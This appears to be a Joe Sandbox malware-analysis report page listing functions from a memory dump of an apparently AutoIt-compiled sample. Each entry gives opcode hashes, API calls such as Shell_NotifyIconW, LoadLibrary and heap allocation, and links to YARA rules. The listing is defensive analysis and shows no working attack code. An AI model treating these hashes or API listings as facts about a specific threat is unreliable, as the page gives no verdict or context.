Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: df795f09f5ae5b05a43109a4548aff78c8edac5a1d32b563a38ab60df604e62b
Instruction ID: e58e82c0a93e1d15113e30aaebaba8316aac6513067529aec5390da507c601bb
Opcode Fuzzy Hash: df795f09f5ae5b05a43109a4548aff78c8edac5a1d32b563a38ab60df604e62b
Instruction Fuzzy Hash: 0631A171809304AAD725EB20DC46BEBB7D8AB40734F00852EF5D993195EF789A49E7C2

Function 00F4FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00F50668

Part of subcall function 00F532A4: RaiseException.KERNEL32(?,?,?,00F5068A,?,01001444,?,?,?,?,?,?,00F5068A,00F31129,00FF8738,00F31129), ref: 00F53304

__CxxThrowException@8.LIBVCRUNTIME ref: 00F50685

Strings

Unknown exception, xrefs: 00F50692

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: b460fe843c28f755bc4798e1ba8fa40348233c80bace7a4afc39bf6b3cb8f7a9
Instruction ID: d9fb1766352749563eaaffeda941ace99746cba2c94947fb9640f5312614cc91
Opcode Fuzzy Hash: b460fe843c28f755bc4798e1ba8fa40348233c80bace7a4afc39bf6b3cb8f7a9
Instruction Fuzzy Hash: 07F0FF20D0020D738B00BAA8DC46D9E7B6C5E00361B604430BE18924A2EF75EA6EE991

Function 00F310F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F31BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00F31BF4
Part of subcall function 00F31BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00F31BFC
Part of subcall function 00F31BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00F31C07
Part of subcall function 00F31BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00F31C12
Part of subcall function 00F31BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00F31C1A
Part of subcall function 00F31BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00F31C22

Part of subcall function 00F31B4A: RegisterWindowMessageW.USER32(00000004,?,00F312C4), ref: 00F31BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00F3136A
OleInitialize.OLE32 ref: 00F31388
CloseHandle.KERNEL32(00000000,00000000), ref: 00F724AB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 3dc149384d17bf620085ccf7039fdef0f371f66758d1ed4d5c99b495565b45b4
Instruction ID: 81a72c640c90879aec6effd2fd86dccd6b513776203e2938ce6acf4b1a36e93c
Opcode Fuzzy Hash: 3dc149384d17bf620085ccf7039fdef0f371f66758d1ed4d5c99b495565b45b4
Instruction Fuzzy Hash: 5071BDB4905201CFD3A6DF79E9456553AE0BB48352F58822EE0CADB299EB3BC601DF41

Function 00F9C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F33923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00F33A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00F9C259
KillTimer.USER32(?,00000001,?,?), ref: 00F9C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00F9C270

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 67660d976181a47bbb4b6814d84d60b334618420d92e5f33747a27ac084b69be
Instruction ID: c3196a8fa1dc1d2094baca33cb9b2cbf763911a9584cd0ecff6c69912aab492d
Opcode Fuzzy Hash: 67660d976181a47bbb4b6814d84d60b334618420d92e5f33747a27ac084b69be
Instruction Fuzzy Hash: BB31B171904384AFFF32CF648855BE6BBEC9F06708F00449AD6DE93241C3745A84DB91

Function 00F686AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,00F685CC,?,00FF8CC8,0000000C), ref: 00F68704
GetLastError.KERNEL32(?,00F685CC,?,00FF8CC8,0000000C), ref: 00F6870E
__dosmaperr.LIBCMT ref: 00F68739

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: ae6c34b2ab1d96a6af72425d3ae1c45e694899c2026521aa74062b41aac3b9ec
Instruction ID: 8e632763ae69413c292c10be25699593f16ae07c272cf332e6a3810d8ed8946a
Opcode Fuzzy Hash: ae6c34b2ab1d96a6af72425d3ae1c45e694899c2026521aa74062b41aac3b9ec
Instruction Fuzzy Hash: 17012B33E0566016D6356234EC46B7E775A4B81FF4F39031DF9589B1D2DEA68C83B290

Function 00F41310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00F417F6

Strings

CALL, xrefs: 00F417C6

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: f5684853551a7029133a3b9255a713daacec9af90cc68cd241af825c1b3bb8f1
Instruction ID: 80d2b4b44797fbb8d0bcedbd3c31efa181f4132a16dd3bf9a4ab7ef42954fc0b
Opcode Fuzzy Hash: f5684853551a7029133a3b9255a713daacec9af90cc68cd241af825c1b3bb8f1
Instruction Fuzzy Hash: A5229D70A083019FC714DF14C894B6ABBF1BF85314F18891DF89A8B3A1D775E885EB92

Function 00F32DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00F72C8C

Part of subcall function 00F33AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F33A97,?,?,00F32E7F,?,?,?,00000000), ref: 00F33AC2

Part of subcall function 00F32DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00F32DC4

Strings

X, xrefs: 00F72C5A

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 863cb8aaea7b5bf0f6d10b248a8bb5d159ddda94a66d77e3397f2e01e58f8844
Instruction ID: f463f45a483bca0cf551e467205d2ee05d116a16dc0aabe6437f73c1fe522bfb
Opcode Fuzzy Hash: 863cb8aaea7b5bf0f6d10b248a8bb5d159ddda94a66d77e3397f2e01e58f8844
Instruction Fuzzy Hash: F2219671A0025C9BCB41EF94CC45BEE7BF8AF49324F00805AE505E7241DBB855899FA1

Function 00F33837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00F33908

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 94f9ae23708f68211df26f09975abe23c9fc523eddfcd5c97098700491d5b570
Instruction ID: e8bd2233c130f8bd63353a330dd5aad0015a9c5f13a37dc633a250dd8d97b386
Opcode Fuzzy Hash: 94f9ae23708f68211df26f09975abe23c9fc523eddfcd5c97098700491d5b570
Instruction Fuzzy Hash: A331D271904300DFD721DF24D88579BBBE8FB49329F00092EF5D983280E775AA44DB92

Function 00F4F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00F4F661
Sleep.KERNEL32(00000000), ref: 00F8F2DE

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: abf55cbf258de86edfcb3a4826eba89e87d2a0166e59ade728f030927c76275c
Instruction ID: 486d441f7cbffee5a2a903d14b0c267356eb6a8ffccddc99f4477b95fef9fcba
Opcode Fuzzy Hash: abf55cbf258de86edfcb3a4826eba89e87d2a0166e59ade728f030927c76275c
Instruction Fuzzy Hash: EAF08C312402099FD350EF69D95AF6ABBE8EF45760F000029E95DC7261DB70A800EB90

Function 00F34ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F34E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00F34EDD,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34E9C
Part of subcall function 00F34E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00F34EAE
Part of subcall function 00F34E90: FreeLibrary.KERNEL32(00000000,?,?,00F34EDD,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34EFD

Part of subcall function 00F34E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00F73CDE,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34E62
Part of subcall function 00F34E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00F34E74
Part of subcall function 00F34E59: FreeLibrary.KERNEL32(00000000,?,?,00F73CDE,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34E87

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 4dc47cfc9dfb025ca06bad3d9a1aa29f5d62b23b873076de0ef040d45e8df871
Instruction ID: 68660fb62f2bf9f7d39708997c0d09d5d1ff3b1832b52bb15a7fc5746620a706
Opcode Fuzzy Hash: 4dc47cfc9dfb025ca06bad3d9a1aa29f5d62b23b873076de0ef040d45e8df871
Instruction Fuzzy Hash: 7A11E732600205AACB14BB74DD12FAD77A59F40B21F14842EF546AB1C1EE78FA45BB50

Function 00F68402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00F68440

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: f9bc575c94c84168df9a0bd83cccc896ef699e35affb92aece2257d3fb434347
Instruction ID: 5c0fea0aca42c7e61c827e34b9f0990598741de2daf00f78a963b6f8c5584909
Opcode Fuzzy Hash: f9bc575c94c84168df9a0bd83cccc896ef699e35affb92aece2257d3fb434347
Instruction Fuzzy Hash: A311487190410AAFCB05DF58E940ADA7BF4EF48310F104199F808AB302DA31DA22DBA5

Function 00F65000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F64C7D: RtlAllocateHeap.NTDLL(00000008,00F31129,00000000,?,00F62E29,00000001,00000364,?,?,?,00F5F2DE,00F63863,01001444,?,00F4FDF5,?), ref: 00F64CBE

_free.LIBCMT ref: 00F6506C

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 04d33c3adbb5d6006091d65ce312ddcb2a3ab86f8bf3ae03c7dd3bbcc804fca6
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: 520126726047056BE3218F69DC81A5AFBE8FB89370F25051DE18493280EA30A805D6B4

Function 00F5E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 718d14819423378520daf09ab3ee4d0d422975cd17a89ab21a341648368bc2e1
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 21F02D32921E149AC7353A69CC05B5A37999F523B3F100715FE21931D1CB78D90AB9A5

Function 00F64C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00F31129,00000000,?,00F62E29,00000001,00000364,?,?,?,00F5F2DE,00F63863,01001444,?,00F4FDF5,?), ref: 00F64CBE

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1e9a81fc45117cf31e5a9ce07e9a4e22a2a0e623ca2af1dda1ec4006fdc17fe8
Instruction ID: b90b32f8c55102fe128cbab768761ead743bfc05cfcab3cedee7cb8e336cab72
Opcode Fuzzy Hash: 1e9a81fc45117cf31e5a9ce07e9a4e22a2a0e623ca2af1dda1ec4006fdc17fe8
Instruction Fuzzy Hash: D2F0B432A0222467DB217F669C09B5A3798AF817B1B144111BD19E7781CA34F801B6E0

Function 00F63820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,01001444,?,00F4FDF5,?,?,00F3A976,00000010,01001440,00F313FC,?,00F313C6,?,00F31129), ref: 00F63852

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 24842ec7ea6a4e9afa30148df44c0524b4cd87d4be9698ba5e3d336ec35b58aa
Instruction ID: dc6557735bf64e6eb3b4105e41d3d008fa7eb09b7bd8ec4a657f5b3868883ed3
Opcode Fuzzy Hash: 24842ec7ea6a4e9afa30148df44c0524b4cd87d4be9698ba5e3d336ec35b58aa
Instruction Fuzzy Hash: 7FE0653390122456E63126779D05BDA3749AB427B1F190121BD5597581DB25ED01B3E1

Function 00F34F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34F6D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 33a25b4b502a7275b2753ffae7623dec6568a4dc57d40ac17a102c82aba33ecc
Instruction ID: 3b33e3b2d7e9857f41b6cdf2e404f08509f960df77ed4508c4183fc80664881e
Opcode Fuzzy Hash: 33a25b4b502a7275b2753ffae7623dec6568a4dc57d40ac17a102c82aba33ecc
Instruction Fuzzy Hash: DDF01C71505751CFDB349F75D490912B7E4AF1433971889AEE1EA83611C731B844EF50

Function 00FC2A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00FC2A66

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: d55a18783e5ab1b5e9e9519c159f259366b6f3be4e26b31b1b6054b16ab42b6d
Instruction ID: 3a520af7125baa2871b9879eaa9a16a2a6bdb8999a267821f7deeb08a3cacda0
Opcode Fuzzy Hash: d55a18783e5ab1b5e9e9519c159f259366b6f3be4e26b31b1b6054b16ab42b6d
Instruction Fuzzy Hash: E5E0DF32750116AADB54EB34DD81EFA735CEB10390B00403AEC1AC2100DF389981B2E0

Function 00F330F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 00F3314E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: dc332e4bfa8b864fd79869db6d66787df4547169fc69de51f5894696f5f7a59e
Instruction ID: b9e287af4f4bc4addac580b94d4748875d051ed9dfc28d8b4357ba15163a1916
Opcode Fuzzy Hash: dc332e4bfa8b864fd79869db6d66787df4547169fc69de51f5894696f5f7a59e
Instruction Fuzzy Hash: 6CF037709143189FE763DB24DC4A7D57BBCA701708F0041E5A68897185DB759788CF91

Function 00F32DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00F32DC4

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

